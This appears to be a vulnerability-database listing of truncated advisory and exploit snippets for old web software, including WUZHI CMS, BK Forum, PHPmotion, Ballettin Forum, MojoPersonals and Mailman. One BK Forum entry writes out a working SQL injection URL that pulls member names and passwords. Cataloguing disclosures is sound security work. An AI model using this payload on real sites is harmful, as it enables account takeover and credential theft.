PT-2018-9819 · Wuzhi · Wuzhi Cms

Name of the Vulnerable Software and Affected Versions: WUZHI CMS version 4.1.0 Description: The issue allows for a CSRF attack to change the password of a common member. This is possible through the "index.php?m=member&v=pw reset" endpoint, which is vulnerable to such attacks. Recommendations: Fo...

BK Forum <= 4.0 (member.asp) Remote SQL Injection Vulnerability

No description provided by source. BK Forum = 4.0 Remote SQL Injection by n0m3rcy Copyright c 2006 n0m3rcy [email protected] Exploit: First you must be logged in Then type this in your browser...

PHPmotion <= 2.1 CSRF Vulnerability

No description provided by source. PHPmotion = 2.1 CSRF vulnerability Author: Ausome1 Email: [email protected] Website: http://www.enigmagroup.org Description: Change a member's password and/or email...

Ballettin Forum SQL Injection Vulnerability

No description provided by source. ==================================================================== Exploit Title: Ballettin Forum Multiple SQL Injection Vulnerability Date: 25/07/2010 Author: 3v0 aka evolution evolution ^ darkedition.com Software Link: http://www.ballettin.com Tested on:...

MojoPersonals (mojoClassified.cgi mojo) Blind SQL Injection Exploit

No description provided by source. !/usr/bin/perl use LWP::UserAgent; use Getopt::Long; if!$ARGV1 print " \n"; print " Viva IslaMe Viva IslaMe \n"; print " MojoPersonals Blind SQL Injection Exploit \n"; print " mojoClassified.cgi mojo \n"; print " Author: Mr.SQL \n"; print " EMAIL : [email protected]...

BK Forum 4.0 - member.asp SQL Injection

BK Forum 4.0 - member.asp SQL Injection BK Forum Exploit: First you must be logged in Then type this in your browser http://www.site.com/path/member.asp?id=-1%20UNION%20SELECT%201,memName,3,4,5,6,7,8,9,10,11,memPassword,13,14,15,16%20FROM%20member+where+memID=1 You will find admin's password...

[Full-Disclosure] [ GLSA 200406-04 ] Mailman: Member password disclosure vulnerability

Gentoo Linux Security Advisory GLSA 200406-04 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Severity:...